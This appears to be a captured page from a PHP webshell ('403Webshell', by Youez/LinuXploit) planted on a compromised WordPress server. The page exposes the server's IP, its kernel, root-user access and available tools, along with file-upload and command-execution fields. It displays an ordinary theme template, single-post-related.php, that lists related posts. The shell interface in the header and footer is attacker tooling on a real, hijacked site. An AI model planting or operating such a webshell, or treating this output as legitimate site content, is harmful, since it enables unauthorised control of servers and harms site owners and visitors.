403Webshell
Server IP : 138.197.162.186  /  Your IP : 216.73.216.17
Web Server : nginx/1.24.0
System : Linux ubuntu-s-1vcpu-512mb-10gb-tor1 6.8.0-71-generic #71-Ubuntu SMP PREEMPT_DYNAMIC Tue Jul 22 16:52:38 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/yogaensalada-site/wp-content/themes/arimolite/template-parts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/yogaensalada-site/wp-content/themes/arimolite/template-parts/single-post-related.php
<?php 
$categories = get_the_category(get_the_ID());
if ($categories) :
	$category_ids = array();
	foreach($categories as $individual_category) {
        $category_ids[] = $individual_category->term_id;
	}
	$args = array(
		'category__in'        => $category_ids,
		'post__not_in'        => array($post->ID),
		'posts_per_page'      => 3,
		'ignore_sticky_posts' => 1,
		'orderby'             => 'rand'
	);
	$new_query = new WP_Query( $args );
?>
    <?php if( $new_query->have_posts() ) : ?>
    <div class="post-related arimolite-blog">
        <h3 class="post-related-title"><?php esc_html_e('Related Posts', 'arimolite'); ?></h3>
        <div class="row">
        <?php while( $new_query->have_posts() ) : $new_query->the_post(); ?>
            <div class="col-md-4 item-relate post">
                <div class="inner-post">
                    <div class="post-header">
                        <?php $featured_image = arimolite_resize_image( get_post_thumbnail_id(), null, 570, 524, true, false );  ?>
                        <div class="post-format">
                            <a class="post-image" style="background-image: url('<?php echo esc_url($featured_image['url']);?>');" href="<?php the_permalink()?>"></a>
                        </div>
                        <div class="date-post">
                            <span class="month"><?php echo get_the_date( 'M'); ?></span>
                            <span class="day"><?php echo get_the_date( 'd'); ?></span>
                            <span class="year"><?php echo get_the_date( 'Y'); ?></span>
                        </div>
                    </div>
                    <div class="post-info">
                        <div class="post-cats"><i class="far fa-bookmark"></i><?php the_category(', '); ?></div>
                        <h3 class="post-title"><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></h3>
                    </div>
                </div>
            </div>
        <?php endwhile; ?>
		</div> 
    </div>
    <?php endif; ?>
<?php endif;
wp_reset_query();

Youez - 2016 - github.com/yon3zu
LinuXploit